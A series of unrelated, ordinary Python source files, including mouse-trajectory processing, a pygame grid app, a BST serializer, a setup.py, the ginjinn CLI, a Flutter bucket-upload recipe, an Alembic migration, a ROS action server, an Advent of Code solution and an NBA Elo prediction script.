import pickle
import sys

#将数据信息处理成可用的轨迹信息，并保存二进制文件

mouse_check_path=sys.path[0]+'\data\D=2000_W=100_mouse_check.bin'
mouse_move_path=sys.path[0]+'\data\D=2000_W=100_mouse_move.bin'
information_path=sys.path[0]+'\data\D=2000_W=100_information.bin'
track_path=sys.path[0]+'\data\D=2000_W=100_track.bin'

def save_track(mouse_check_path,mouse_move_path,track_path):
    '''
    模拟轨迹
    mouse_check_path:鼠标点击的位置和时间的二进制文件
    mouse_move_path:鼠标移动的位置和时间的二进制文件
    track_path:鼠标轨迹的二进制文件
    鼠标点击和移动是列表，(t,(x,y))

    鼠标轨迹，是一个列表，包含每一段轨迹的列表，每一段列表由一个元组组成，
    元组的第一个元素是记录时间，第二个元素是鼠标的x坐标，第三个元素是鼠标的y坐标(t,(x,y))
    '''
    divide_index=[]#记录鼠标移动和鼠标点击的分界点
    with open(mouse_check_path,'rb') as file:
        mouse_check=pickle.load(file)
    with open(mouse_move_path,'rb') as file:
        mouse_move=pickle.load(file)

    print('点击点的个数为：',len(mouse_check))
    for i in range(len(mouse_check)):
        for j in range(len(mouse_move)):
            if mouse_check[i][0]<mouse_move[j][0]:
                divide_index.append(j)
                break
    #得到切片的索引
    track=[]
    for i in range(0,len(divide_index)-1,2):
        track.append(mouse_move[divide_index[i]:divide_index[i+1]])

    print('总的轨迹长度为：',len(mouse_move))

    for i in range(len(track)):
        print(len(track[i]))
    with open(track_path, "wb") as file:
        pickle.dump(track, file)
    #print(track)
    print('轨迹保存成功')

save_track(mouse_check_path,mouse_move_path,track_path)


import pygame
import thorpy

windowWidth, windowHeight, windowScaleFactor = 500, 500, 10

class App:
    def __init__(self):
        pygame.init()
        pygame.font.init()
        self.window = pygame.display.set_mode((windowWidth, windowHeight + 20))
        self.gameClock = pygame.time.Clock()
        self.gameFont = pygame.font.SysFont('Arial', 20)
        self.infoText = self.gameFont.render('For menu/reset press [R]', False, (255, 255, 255))
        self.lastChoice = None
        self.cWidth = int(windowScaleFactor - windowScaleFactor * 0.3)
        self.cHeight = self.cWidth
        self.window.fill((100, 100, 100))
        self.drawGrid()
        self.buttons = [
            thorpy.make_button("random", func=self.reactMainMenuButtonPressed, params={'choice': 'random'}),
            thorpy.make_button("custom", func=self.reactMainMenuButtonPressed, params={'choice': 'custom'})
        ]
        self.menuBox = thorpy.Box(elements=self.buttons)
        thorpy.store(self.menuBox, mode='h', gap=20)
        self.menuBox.fit_children()
        self.menu = thorpy.Menu(self.menuBox)
        for e in self.menu.get_population():
            e.surface = self.window
        self.menuBox.set_center((windowWidth/2, windowHeight/2))

    def reactMainMenuButtonPressed(self, choice):
        self.lastChoice = choice

    def setText(self, text: str):
        self.infoText = self.gameFont.render(text, False, (255, 255, 255))

    def drawGrid(self):
        for i in range(0, windowWidth, windowScaleFactor):
            pygame.draw.line(self.window, (150, 150, 150), (i, 0), (i, windowHeight))
        for i in range(0, windowHeight, windowScaleFactor):
            pygame.draw.line(self.window, (150, 150, 150), (0, i), (windowWidth, i))

    def showMenu(self):
        pygame.display.flip()
        self.menuBox.blit()
        self.menuBox.update()
        self.window.blit(self.infoText, (0, windowHeight))

    def drawCursor(self, x, y):
        cX = int(x * windowScaleFactor + windowScaleFactor * 0.2)
        cY = int(y * windowScaleFactor + windowScaleFactor * 0.2)
        rect = pygame.Rect(cX, cY, self.cWidth, self.cHeight)
        pygame.draw.rect(self.window, (0, 250, 0), rect)
        pygame.display.flip()

    def redrawCells(self, cells: list[(int, int)]):
        self.window.fill((100, 100, 100))
        self.drawGrid()
        for c in cells:
            cX = int(c[0] * windowScaleFactor + windowScaleFactor * 0.2)
            cY = int(c[1] * windowScaleFactor + windowScaleFactor * 0.2)
            rect = pygame.Rect(cX, cY, self.cWidth, self.cHeight)
            pygame.draw.rect(self.window, (250, 0, 0), rect)
        self.window.blit(self.infoText, (0, windowHeight))
        pygame.display.flip()


# This is an example of a recursive algorithm used to convert an Integer to a string representation of any base

def toStr(n, base):
	convertString = "0123456789ABCDEF"
	if n < base:
		return convertString[n]
	else:
		return toStr(n // base, base) + convertString[n % base]

print(toStr(1453, 16))


"""
序列化是将数据结构或对象转换为一系列位的过程，以便它可以存储在文件或内存缓冲区中，或通过网络连接链路传输，以便稍后在同一个或另一个计算机环境中重建。

设计一个算法来序列化和反序列化 二叉搜索树 。 对序列化/反序列化算法的工作方式没有限制。 您只需确保二叉搜索树可以序列化为字符串，并且可以将该字符串反序列化为最初的二叉搜索树。

编码的字符串应尽可能紧凑。

来源：力扣（LeetCode）
链接：https://leetcode.cn/problems/serialize-and-deserialize-bst
著作权归领扣网络所有。商业转载请联系官方授权，非商业转载请注明出处。
"""
import sys
sys.path.append("..")
from Utils.io import *

# 2022/05/05
from queue import Queue
class Codec:

    def serialize(self, root: TreeNode) -> str:
        """Encodes a tree to a single string.
        """
        ans = []
        q = Queue()
        q.put(root)

        while q.empty()==False:
            cur = q.get()
            if cur==None:
                ans.append("null")
            else:
                ans.append(str(cur.val))
                q.put(cur.left)
                q.put(cur.right)

        finish = len(ans)-1
        while finish>=0 and ans[finish]=="null":
            finish -= 1
        return ','.join(ans[0:finish+1])

    def deserialize(self, data: str) -> TreeNode:
        """Decodes your encoded data to tree.
        """
        if len(data)==0:
            return None
        data = data.split(',')
        q = Queue()
        root = TreeNode(int(data[0]))
        q.put(root)

        i = 1
        while i<len(data):
            parent = q.get()
            if data[i]=="null":
                parent.left = None
            else:
                parent.left = TreeNode(int(data[i]))
                q.put(parent.left)
            if i+1==len(data) or data[i+1]=="null":
                parent.right = None
            else:
                parent.right = TreeNode(int(data[i+1]))
                q.put(parent.right)
            i += 2
        return root

if __name__ == '__main__':

    # inputs
    input = "[6,4,9,2,null,7,null,1,3,null,8]"
    root = convertStringToBinaryTree(input)

    # solution
    ser = Codec()
    deser = Codec()
    tree = ser.serialize(root)
    ans = deser.deserialize(tree)

    # outputs
    output = convertBinaryTreeToString(ans)
    print(output)


# -*- coding: utf-8 -*-

from setuptools import setup, find_packages
from codecs import open
from os import path
import sys

here = path.abspath(path.dirname(__file__))

def read(relpath):
    with open(path.join(here, relpath), encoding="utf-8") as f:
        return f.read()

requires = ["server-reloader", "tblib", "pyjwt>=1.0.1", "dill"]

if sys.version_info < (2, 7):
    requires.append("argparse")
    requires.append("importlib")

if (3, ) <= sys.version_info < (3, 2):
    requires.append("argparse")

if (3, ) <= sys.version_info < (3, 1):
    requires.append("importlib")

setup(
    name='ohoh',
    version="0.1.0",

    description='A debug server for WSGI apps.',
    long_description=read("README.rst"),

    url='https://github.com/te-je/ohoh',

    author='Te-je Rodgers',
    author_email='tjd.rodgers@gmail.com',

    license='MIT',

    classifiers=[
        'Development Status :: 3 - Alpha',

        'Environment :: Console',
        'Intended Audience :: Developers',

        'License :: OSI Approved :: MIT License',

        'Programming Language :: Python :: 2',
        'Programming Language :: Python :: 3',
        'Programming Language :: Python :: 2.6',
        'Programming Language :: Python :: 2.7',
        'Programming Language :: Python :: 3.0',
        'Programming Language :: Python :: 3.1',
        'Programming Language :: Python :: 3.2',
        'Programming Language :: Python :: 3.3',
        'Programming Language :: Python :: 3.4',

        'Topic :: Internet :: WWW/HTTP :: WSGI :: Middleware',
        'Topic :: Internet :: WWW/HTTP :: WSGI :: Server',
    ],

    keywords='findig wsgi debug server',

    setup_requires=['setuptools_scm'],
    use_scm_version={"write_to": "ohoh/VERSION.txt"},

    packages=find_packages(exclude=['tests']),
    install_requires=requires,

    extras_require={
        'httpie_plugin': ['httpie', 'pygments', 'requests'],
        'client_tools': ['requests'],
    },

    package_data={
        'ohoh': ['VERSION.txt'],
    },

    entry_points={
        'console_scripts': [
            "ohoh=ohoh:main",
        ],
        'httpie.plugins.formatter.v1': [
            "ohoh=ohoh.clients.httpie:Formatter"
        ],
    },

    use_2to3=True,
)


#!/usr/bin/env python

import sys
from pathlib import Path

from ginjinn import config
from ginjinn.core import parser
from ginjinn.core import Project

def main():
    # print(config.PLATFORM)
    # print(config.MODELS_PATH, config.RESEARCH_PATH, config.SLIM_PATH)

    args = parser.parse_args()
    # print(args)

    # new - create new project
    if args.command == 'new':
        p = Project(args.project_dir)
        try:
            p.setup_project_dir(force=args.force)
            print(
                f'Created new project at \"{Path(args.project_dir).resolve()}\".\n' +
                f'Configurate the project via \"{Path(args.project_dir).joinpath("config.yaml").resolve()}\".'
            )
        except FileExistsError:
            msg = 'Directory at "{}" already exists. Select another directory or rerun with --force.'.format(
                args.project_dir
            )
            raise FileExistsError(msg)

    # auto - run setup, training and export
    elif args.command == 'auto':
        p = Project.from_directory(args.project_dir)
        if args.force:
            p.cleanup_data_model_export()

        p.setup_dataset()
        p.print_dataset_summary()
        print('Successfully setup dataset ...')

        p.setup_model()
        print('Successfully setup model ...')

        return_code = p.train_and_eval()
        if not return_code == 0:
            raise Exception(f'Training interrupted. Return code: {return_code}')
        print('Successfully trained model ...')

        return_code = p.export_model()
        if not return_code == 0:
            raise Exception(f'Export interrupted. Return code: {return_code}')
        print('Successfully exported model ...')

        print('Project ready for detection.')

    # setup_dataset
    elif args.command == 'setup_dataset':
        p = Project.from_directory(args.project_dir)
        if args.force:
            p.cleanup_dataset_dir()

        p.setup_dataset()
        print('Successfully setup dataset.')
        p.print_dataset_summary()

    # setup_model
    elif args.command == 'setup_model':
        p = Project.from_directory(args.project_dir)
        if args.force:
            p.cleanup_model()

        p.setup_model()
        print('Successfully setup model.')

    # train
    elif args.command == 'train':
        p = Project.from_directory(args.project_dir)
        if args.force:
            p.cleanup_model_training()

        if args.continue_training:
            return_code = p.continue_training()
        else:
            try:
                return_code = p.train_and_eval()
            except:
                raise Exception('Model was already trained. Run command with -f/--force to overwrite previous training, or with -c/--continue_training to continue the previous training.')

        if not return_code == 0:
            raise Exception(f'Training interrupted. Return code: {return_code}')
        print('Successfully trained model.')

    # export
    elif args.command == 'export':
        p = Project.from_directory(args.project_dir)

        if args.list_checkpoints:
            ckpts = p.model_checkpoints()
            msg = 'Available model checkpoints are:\n'
            msg += '\n'.join([f'\t{c}' for c in ckpts])
            print(msg)
            return

        if args.force:
            p.cleanup_model_export()

        ckpt = args.checkpoint_name or None
        try:
            return_code = p.export_model(ckpt)
        except:
            raise Exception('Model was already exported. Run command with -f/--force to overwrite previous exports.')

        if not return_code == 0:
            raise Exception(f'Export interrupted. Return code: {return_code}')
        print('Successfully exported model.')

    # detect
    elif args.command == 'detect':
        # argparse outputs this as list of lists, so we have to convert it to a list
        if not args.output_types:
            output_types = ['ibb']
        else:
            output_types = [t[0] for t in args.output_types]

        p = Project.from_directory(args.project_dir)

        out_path = Path(args.out_dir)
        if out_path.exists():
            if not args.force:
                raise Exception('Output directory already exists. Select another directory or rerun with -f/--force to overwrite the data.')
        # def detect(self, out_dir, image_path, output_types, padding=0, th=0.5):
        p.detect(
            args.out_dir,
            args.image_path,
            output_types,
            padding = args.padding,
            th = args.score_threshold
        )
        print('Successfully ran detection.')
        print(f'Detection data written to {args.out_dir}')

    # status
    elif args.command == 'status':
        p = Project.from_directory(args.project_dir)
        msg = f'Status for project "{p.config.project_dir}":\n'
        msg += f'\tproject setup:\t\t\t\t{p.is_ready()}\n'
        msg += f'\tdataset setup:\t\t\t\t{p.is_ready_dataset()}\n'
        msg += f'\tmodel setup:\t\t\t\t{p.is_ready_model()}\n'
        msg += f'\tmodel (at least partially) trained:\t{bool(p.model_checkpoints())}\n'
        try:
            is_exported = p.is_model_exported()
        except:
            is_exported = False
        msg += f'\tmodel exported:\t\t\t\t{is_exported}\n'
        if is_exported:
            msg += '\nProject is ready for detection.'
        print(msg)

    # list_models
    elif args.command == 'list_models':
        from ginjinn.core.tf_model import AVAILABLE_MODELS, AVAILABLE_MODELS_DOWNLOADABLE

        if args.downloadable:
            msg = 'Available models with downloadable checkpoint:\n'
            msg += '\n'.join([f'\t- {name}' for name in AVAILABLE_MODELS_DOWNLOADABLE])
        else:
            msg = 'Available models:\n'
            msg += '\n'.join([f'\t- {name}' for name in AVAILABLE_MODELS])
            msg += '\n\nList models with downloadable pretrained checkpoint only via "ginjinn list_models -d"'
        print(msg)

    # utils
    elif args.command == 'utils':
        # download_checkpoint
        if args.utils_command == 'download_checkpoint':
            from ginjinn.utils.download_pretrained_model import download_pretrained_model
            download_pretrained_model(args.model_name, args.out_dir)

        # image_files
        elif args.utils_command == 'image_files':
            p = Project.from_directory(args.project_dir)
            if (args.type == 'train'):
                print('\n'.join(p.get_train_image_files()))
            elif (args.type == 'eval'):
                print('\n'.join(p.get_eval_image_files()))

        # data_summary
        elif args.utils_command == 'data_summary':
            p = Project.from_directory(args.project_dir)
            p.print_dataset_summary()

        # detect
        elif args.utils_command == 'detect':
            from ginjinn.core import tf_detector
            # argparse outputs this as list of lists, so we have to convert it to a list
            if not args.output_types:
                output_types = ['ibb']
            else:
                output_types = [t[0] for t in args.output_types]

            out_path = Path(args.out_dir)
            if out_path.exists():
                if not args.force:
                    raise Exception('Output directory already exists. Select another directory or rerun with -f/--force to overwrite the data.')

            detector = tf_detector.TFDetector(args.frozen_inference_graph, args.labelmap_path)
            detector.run_detection(
                args.out_dir,
                args.image_path,
                output_types,
                padding=args.padding,
                th=args.score_threshold,
            )

            print('Successfully ran detection.')
            print(f'Detection data written to {args.out_dir}')

if __name__ == '__main__':
    main()


from recipe_engine import recipe_api

# TODO(godofredoc): Remove when flutter tool branches to stable.
# https://github.com/flutter/flutter/issues/75363.
OLD_INFRA_BUCKET_NAME = 'flutter_infra'
NEW_INFRA_BUCKET_NAME = 'flutter_infra_release'

class BucketUtilApi(recipe_api.RecipeApi):
  """Utility functions to upload files to cloud buckets.

  Properties:
    upload_packages: (bool) Whether to upload the packages to the bucket.
    force_upload:
      (bool) Whether a file should be re-uploaded if it exists in the bucket.
  """

  def should_upload_packages(self):
    return self.m.properties.get('upload_packages', False)

  def upload_folder(
      self,
      dir_label,
      parent_directory,
      folder_name,
      zip_name,
      platform=None,
      bucket_name=NEW_INFRA_BUCKET_NAME
  ):
    """Uploads a folder to the cloud bucket

    Args:
      dir_label: (str) A label to append to the step that creates a temporary directory.
      parent_directory: (str) Parent directory of folder_name.
      folder_name: (str) Folder to upload.
      zip_name: (str) Name of the zip file in the cloud bucket.
      platform: (str) Directory name to add the zip file to.
      bucket_name: (str) The bucket name. Defaults to flutter_infra.
    """
    self.upload_folder_and_files(
        dir_label,
        parent_directory,
        folder_name,
        zip_name,
        platform=platform,
        bucket_name=bucket_name
    )

  def upload_folder_and_files(
      self,
      dir_label,
      parent_directory,
      folder_name,
      zip_name,
      platform=None,
      file_paths=None,
      bucket_name=NEW_INFRA_BUCKET_NAME
  ):
    """Uploads a folder and or files to the cloud bucket

    Args:
      dir_label: (str) A label to append to the step that creates a temporary directory.
      parent_directory: (str) Parent directory of folder_name and/or file_paths.
      folder_name: (str) Folder to upload.
      zip_name: (str) Name of the zip file in the cloud bucket.
      platform: (str) directory name to add the zip file to.
      file_paths: (list) A list of string with the filenames to upload.
      bucket_name: (str) The bucket name. Defaults to flutter_infra.
    """
    with self.m.os_utils.make_temp_directory(dir_label) as temp_dir:
      remote_name = '%s/%s' % (platform, zip_name) if platform else zip_name
      local_zip = temp_dir.join(zip_name)
      remote_zip = self.get_cloud_path(remote_name)
      parent_directory = self.m.path['cache'].join('builder', parent_directory)
      pkg = self.m.zip.make_package(parent_directory, local_zip)
      pkg.add_directory(parent_directory.join(folder_name))

      if file_paths is not None:
        self.add_files(pkg, file_paths)

      pkg.zip('Zip %s' % folder_name)
      if self.should_upload_packages():
        self.safe_upload(local_zip, remote_zip, bucket_name=bucket_name)

  def safe_upload(
      self,
      local_path,
      remote_path,
      bucket_name=NEW_INFRA_BUCKET_NAME,
      args=[],
      skip_on_duplicate=False
  ):
    """Upload a file if it doesn't already exist, fail job otherwise.

    The check can be overridden with the `force_upload` property.

    Args:
      local_path: (str) The local path to upload.
      remote_path: (str) The remove path in the cloud bucket.
      bucket_name: (str) The bucket name. Defaults to flutter_infra.
      args: (list) Arguments to pass to gsutil.upload step.
      skip_on_duplicate: (bool)
        Whether to avoid uploading to an already existing path in the bucket.

    Returns:
      The result of the gsutil.upload step. Useful for verifying the exit code.
    """
    assert (self.should_upload_packages())

    experimental = self.m.runtime.is_experimental
    force_upload = self.m.properties.get('force_upload', False)
    # Experimental builds go to a different bucket, duplicates allowed
    if not experimental and not force_upload:
      cloud_path = 'gs://%s/%s' % (bucket_name, remote_path)
      result = self.m.step(
          'Ensure %s does not already exist on cloud storage' % remote_path,
          [
              'python',
              self.m.depot_tools.gsutil_py_path,
              'stat',
              cloud_path,
          ],
          ok_ret='all',
      )
      # A return value of 0 means the file ALREADY exists on cloud storage
      if result.exc_result.retcode == 0:
        if skip_on_duplicate:
          # This file already exists, but we shouldn't fail the build
          return
        raise AssertionError('%s already exists on cloud storage' % cloud_path)

    if bucket_name == NEW_INFRA_BUCKET_NAME:
      self.m.gsutil.upload(
          local_path,
          OLD_INFRA_BUCKET_NAME,
          remote_path,
          args=args,
          name='upload "%s"' % remote_path
      )
    return self.m.gsutil.upload(
        local_path,
        bucket_name,
        remote_path,
        args=args,
        name='upload "%s"' % remote_path
    )

  def add_files(self, pkg, relative_paths=[]):
    """Adds files to the package.

    Args:
      pkg: (package) The package that contains the files.
      relative_paths:
        (list) The relative_paths parameter is a list of strings and pairs of
        strings. If the path is a string, then it will be used as the source
        filename, and its basename will be used as the destination filename
        in the archive. If the path is a pair, then the first element will be
        used as the source filename, and the second element will be used as the
        destination filename in the archive.
    """
    for path in relative_paths:
      pkg.add_file(pkg.root.join(path), archive_name=self.m.path.basename(path))

  def add_directories(self, pkg, relative_paths=[]):
    """Adds directories to the package.

    Args:
      pkg: (package) The package that contains the files.
      relative_paths:
        (list) The relative_paths parameter is a list of directories to add to
        the archive.
    """
    for path in relative_paths:
      pkg.add_directory(pkg.root.join(path))

  def get_cloud_path(self, path):
    """Gets the path in the cloud bucket.

    Args:
      path: (str) Path to append after the commit hash.

    Returns:
      The path formed by `flutter/<commit-hash|uuid>/<path>`.
    """
    git_hash = self.m.buildbucket.gitiles_commit.id
    # gitiles_commit is only populated on post-submits.
    # UUID is used in LED and try jobs.
    uuid = self.m.uuid.random()
    invocation_id = git_hash if git_hash else uuid

    if self.m.runtime.is_experimental:
      return 'flutter/experimental/%s/%s' % (invocation_id, path)
    return 'flutter/%s/%s' % (invocation_id, path)


"""add cooking time

Revision ID: 777ce7844aa3
Revises: 9e91f4e1d13c
Create Date: 2022-06-21 17:57:38.651526

"""
from __future__ import annotations

from alembic import op
import sqlalchemy as sa

# revision identifiers, used by Alembic.
revision = "777ce7844aa3"
down_revision = "9e91f4e1d13c"
branch_labels = None
depends_on = None

def upgrade():
    # ### commands auto generated by Alembic - please adjust! ###
    op.add_column("recipe", sa.Column("cooking_time_min", sa.Float(), nullable=True))
    # ### end Alembic commands ###

def downgrade():
    # ### commands auto generated by Alembic - please adjust! ###
    op.drop_column("recipe", "cooking_time_min")
    # ### end Alembic commands ###


#!/usr/bin/env python

from operator import imod
import rospy
import actionlib
from std_msgs.msg import String

from tiago_msgs.msg import FindHumanActionFeedback, FindHumanActionResult, \
    FindHumanAction
from tiago_move_interface import TiagoInterface
from pal_detection_msgs.msg import Detections2d

class FindHumanActionClass(object):
    _feedback = FindHumanActionFeedback()
    _result = FindHumanActionResult()

    def __init__(self, name):
        self._action_name = name
        self.found_human = False
        self.person_detect_sub = rospy.Subscriber('/person_detector/detections',
                                                  Detections2d, self.detector_cb)
        self.tiago_interface = TiagoInterface.TiagoNode()
        self._as = actionlib.SimpleActionServer(self._action_name,
                                                FindHumanAction,
                                                execute_cb=self.execute_cb,
                                                auto_start = False)

        self.move_list = ['look_left_1_5', 'look_left_1_4', 'look_left_1_3',
                          'look_left_1_2', 'look_left_1_1', 'look_left_1_0',
                          'look_left_0_3', 'look_right_0_3', 'look_right_1_5']

        self._as.start()

    def detector_cb(self, msg):
        if len(msg.detections) > 0:
            self.found_human = True

    def execute_cb(self, goal):
        # connect to publisher

        # move head
        for motion in self.move_list:
            self.tiago_interface.move_joints(motion)

            if self.found_human:
                break

        if self.found_human:
            self._result.trigger = True
            self._as.set_succeeded = True

        else:
            self._result.trigger = False
            self._as.set_succeeded = False

        # disconnect from publisher


#  --- Day 8: Treetop Tree House ---
# %% Initialization
from itertools import product

import numpy as np

# %% Read input
grid = np.genfromtxt("day_08_input.txt", np.uint8, delimiter=1)

# %% Part 1
height, width = grid.shape

def is_visible(x, y):
    if x == 0 or y == 0 or x == width - 1 or y == height - 1:
        return True
    tree_height = grid[y, x]
    left = grid[y, :x]
    right = grid[y, x + 1 :]
    top = grid[:y, x]
    bottom = grid[y + 1 :, x]
    return tree_height > min(np.max(left), np.max(right), np.max(top), np.max(bottom))

print(
    "Visible trees:",
    sum(is_visible(x, y) for x, y in product(range(height), range(width))),
)

# %% Part 2
def _score(tree_height, view):
    score = 0
    for v in view:
        score += 1
        if tree_height <= v:
            return score
    return score

def scenic_score(x, y):
    if x == 0 or y == 0 or x == width - 1 or y == height - 1:
        return 0
    tree_height = grid[y, x]
    left_score = _score(tree_height, reversed(grid[y, :x]))
    right_score = _score(tree_height, grid[y, x + 1 :])
    top_score = _score(tree_height, reversed(grid[:y, x]))
    bottom_score = _score(tree_height, grid[y + 1 :, x])
    return left_score * right_score * bottom_score * top_score

print(
    "Highest scenic score:",
    max(scenic_score(x, y) for x, y in product(range(height), range(width))),
)


# -*- coding: utf-8 -*-

"""
先获取队伍状态表，队伍对手状态表，混合状态表，将三个表去掉不必要的列，按照队名对其，合并在一起

然后循环内当年的所有赛事结果，根据结果和主客场作战去修改此队伍的elo值，这个elo和其队伍的各项指标构成了其特征值，
每场赛事都会形成一个数组，循环完毕之后会形成一个二维数组,

将这个二维数组装入逻辑回归模型内，然后进行交叉验证，

然后获取将来的赛事安排，遍历所有赛事，每次获取主客队的elo分数和统计数据，形成特征值，
然后通过这个模型去判断胜负率，
"""

import pandas as pd
import math
import csv
import random
import numpy as np
from sklearn import linear_model
from sklearn.model_selection import cross_val_score
import glob
import os

# 当每支队伍没有elo等级分时，赋予其基础elo等级分
base_elo = 1600
team_elos = {}
team_stats = {}
X = []
y = []
# 存放数据的目录
folder = '../data'

# 根据每支队伍的Miscellaneous Opponent，Team统计数据csv文件进行初始化
def initialize_data():
    # 先读取三个表，获取到每个队的表现数据
    # 移除不需要的列，将三个表，左对齐，合并起来

    first = 1
    for csvFile in glob.glob(folder + "/Miscellaneous_Stat*.csv"):
        new_Mstat = pd.read_csv(csvFile).drop(['Rk', 'Arena'], axis=1)
        if first == 1:
            old_team_stats = new_Mstat
        else:
            old_team_stats = pd.merge(old_team_stats, new_Mstat, how='left', on='Team')
        first = 0
        # Mstat_array.append(new_Mstat)

    for csvFile in glob.glob(folder + "/Opponent_Per_Game_Stat*.csv"):
        new_Ostat = pd.read_csv(csvFile).drop(['Rk', 'G', 'MP'], axis=1)
        old_team_stats = pd.merge(old_team_stats, new_Ostat, how='left', on='Team')
        # Ostat_array.append()

    for csvFile in glob.glob(folder + "/Team_Per_Game_Stat*.csv"):
        new_Tstat = pd.read_csv(csvFile).drop(['Rk', 'G', 'MP'], axis=1)
        old_team_stats = pd.merge(old_team_stats, new_Tstat, how='left', on='Team')
        # Tstat_array.append()

    return old_team_stats.set_index('Team', inplace=False, drop=True)

# 获取每支队伍的Elo Score等级分函数
def get_elo(team):
    try:
        return team_elos[team]
    except:
        # 当最初没有elo时，给每个队伍最初赋base_elo
        team_elos[team] = base_elo
        return team_elos[team]

# 计算每个球队的elo值
def calc_elo(win_team, lose_team):
    winner_elo = get_elo(win_team)
    loser_elo = get_elo(lose_team)

    elo_diff = winner_elo - loser_elo
    exp = -elo_diff / 400
    odds = 1 / (1 + math.pow(10, exp))
    # 根据rank级别修改K值
    if winner_elo < 2100:
        k = 4 * 8
    elif 2100 <= winner_elo < 2400:
        k = 3 * 8
    else:
        k = 2 * 8

    # 更新 elo 数值
    new_winner_elo = round(winner_elo + (k * (1 - odds)))
    new_loser_elo = round(loser_elo + (k * (0 - odds)))
    return new_winner_elo, new_loser_elo

# 构建数据集合
def build_dataSet(all_data):
    print("Building data set..")
    # global X,y
    # 循环所有的比赛结果记录
    for index, row in all_data.iterrows():
        # 获取胜者和败者
        Wteam = row['WTeam']
        Lteam = row['LTeam']

        # 获取最初的elo或是每个队伍最初的elo值
        win_team_elo = get_elo(Wteam)
        lose_team_elo = get_elo(Lteam)

        # 给主场比赛胜利的队伍加上100的elo值，否则给客场队加100 elo值，主场优势？
        if row['WLoc'] == 'H':
            win_team_elo += 100
        else:
            lose_team_elo += 100

        # 胜负二队的特征值，把elo当为评价每个队伍的第一个特征值
        win_team_features = [win_team_elo]
        lose_team_features = [lose_team_elo]

        # 添加我们从basketball reference.com获得的每个队伍的统计信息
        for key, value in team_stats.loc[Wteam].iteritems():
            win_team_features.append(value)
        for key, value in team_stats.loc[Lteam].iteritems():
            lose_team_features.append(value)

        # 将两支队伍的特征值随机的分配在每场比赛数据的左右两侧
        # 并将对应的0/1赋给y值

        if random.random() > 0.5:
            X.append(win_team_features + lose_team_features)
            # X=np.append(X, win_team_features + lose_team_features)
            y.append(0)
        else:
            X.append(lose_team_features + win_team_features)
            # X=np.append(X, lose_team_features + win_team_features)
            y.append(1)

        # 根据这场比赛的数据，   计算更新队伍的elo值
        new_winner_elo, new_loser_elo = calc_elo(Wteam, Lteam)
        team_elos[Wteam] = new_winner_elo
        team_elos[Lteam] = new_loser_elo

    # return , y

# 预测胜利者
def predict_winner(visterTeam, hostTeam, model):
    features = []

    # team 1，客场队伍，获取其处理之后的elo，拼接其特征值
    features.append(get_elo(visterTeam))
    for key, value in team_stats.loc[visterTeam].iteritems():
        features.append(value)

    # team 2，主场队伍，获取其处理之后的elo，拼接其特征值
    features.append(get_elo(hostTeam) + 100)
    for key, value in team_stats.loc[hostTeam].iteritems():
        features.append(value)

    # 处理空数据，NaN填0
    features = np.nan_to_num(features)
    # 预测可能性
    return model.predict_proba([features])

if __name__ == '__main__':
    # # 然后合并数据在一起
    team_stats = initialize_data()

    for csvFile in glob.glob(folder + "/Game_Result*.csv"):
        # 读取比赛结果表
        result_data = pd.read_csv(csvFile)
        # 构建结果集合
        build_dataSet(result_data)

    X = np.nan_to_num(X)
    # 训练网络模型
    print("Fitting on %d game samples.." % len(X))
    # 初始化一个逻辑回归模型
    model = linear_model.LogisticRegression()
    # 填入数据
    model.fit(X, y)

    # 利用10折交叉验证计算训练正确率
    print("Doing cross-validation..")
    # 进行交叉验证
    print(cross_val_score(model, X, y, cv=10, scoring='accuracy', n_jobs=-1).mean())

    # 利用训练好的model在16-17年的比赛中进行预测
    print('Predicting on new schedule..')
    schedule1617 = pd.read_csv(folder + '/Future_Schedule.csv')
    result = []
    # 循环未来所有的赛事安排
    for index, row in schedule1617.iterrows():
        visterTeam = row['Visitor/Neutral']
        hostTeam = row['Home/Neutral']
        # 预测胜利者
        pred = predict_winner(visterTeam, hostTeam, model)
        prob = pred[0][0]
        if prob > 0.5:
            # 如果可能性超过50%
            winner = visterTeam
            loser = hostTeam
            probability = prob
        else:
            # 如果可能性不超过50%
            winner = hostTeam
            loser = visterTeam
            probability = 1 - prob

        result.append([row['Date'],row['Start (ET)'],visterTeam,row['PTS'], hostTeam,row['PTS'],row['Attend.'],
                       row['Notes'],winner, loser, probability])

    with open(folder + '/18-19Result.csv', 'w') as f:
        writer = csv.writer(f)
        writer.writerow(["Date","Start (ET)","Visitor/Neutral","PTS","Home/Neutral","PTS","Attend.","Notes",'win',
                         'lose', 'probability'])
        writer.writerows(result)
        print('done.')


from time import time

gmt = int(input("Enter your time zone [-12 .. 12]: "))

print(int(time()))

total_seconds = int(time())
seconds = total_seconds % 60

total_minutes = total_seconds // 60
minutes = total_minutes % 60

total_hours = total_minutes // 60
hours = total_hours % 24

print(f"Current time: {(hours + gmt) % 24}:{minutes}:{seconds} GMT{gmt}")


def recursive_func(i):
    if i == 100:
        return
    print(i, "번째 재귀함수에서", i+1, "번째 재귀함수를 호출한다.")
    recursive_func(i+1)
    print(i, "번째 재귀함수를 종료한다.")

#반복문 이용해 구현
def factorial_iterative(n):
    result = 1
    for i in range(1, n+1):
        result *= i
    return result

#재귀적으로 구현
def factorial_recursive(n):
    if n <= 1:
        return 1
    return n * factorial_recursive(n-1)

print('반복적 : ', factorial_iterative(5))
print('재귀적 : ', factorial_recursive(5))
#recursive_func(1)


"""plotting module
"""

# import sys
# import os
# import datetime
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
import seaborn as sns
import scipy.stats
# import imp

def data_plot(df,x,y,color='b',label='_nolegend_',x_bins=None,ax=None):

    df_sub = df[[x,y]]

    if x_bins is None:
        x_bins = np.sort(df_sub[x].astype(int).unique()).astype(float)
    bin_width = x_bins[1] - x_bins[0]
    x_edge = np.arange(x_bins[0]-bin_width/2.0,x_bins[-1]+bin_width/2.0 + bin_width,bin_width)

    if not ax:
        fig, ax = plt.subplots()

    # Add and remove the binned column
    df_sub['bin_val'] = pd.cut(df_sub[x], bins=x_edge,labels=x_bins,right=True)

    # Get some stats
    df_stat = df_sub[[y,'bin_val']].groupby(['bin_val']).agg([np.mean,np.std,lambda x: scipy.stats.sem(x, ddof=1) * 1.96])#   [[.groupby()
    df_stat.columns = ['mean_val','std_val','ci']# df_stat.columns.droplevel()
    df_stat = df_stat.reset_index()
    df_stat['bin_val'] = df_stat.bin_val.astype(float)

    # Plot the underlying points
    ax.scatter(df_sub[x],df_sub[y],color=color,label='_nolegend_',alpha=0.01,s=0.5,marker='.')

    # Plot the main trend
    # print(df_stat.bin_val)
    ax.plot(df_stat.bin_val,df_stat.mean_val,label=label,color=color)
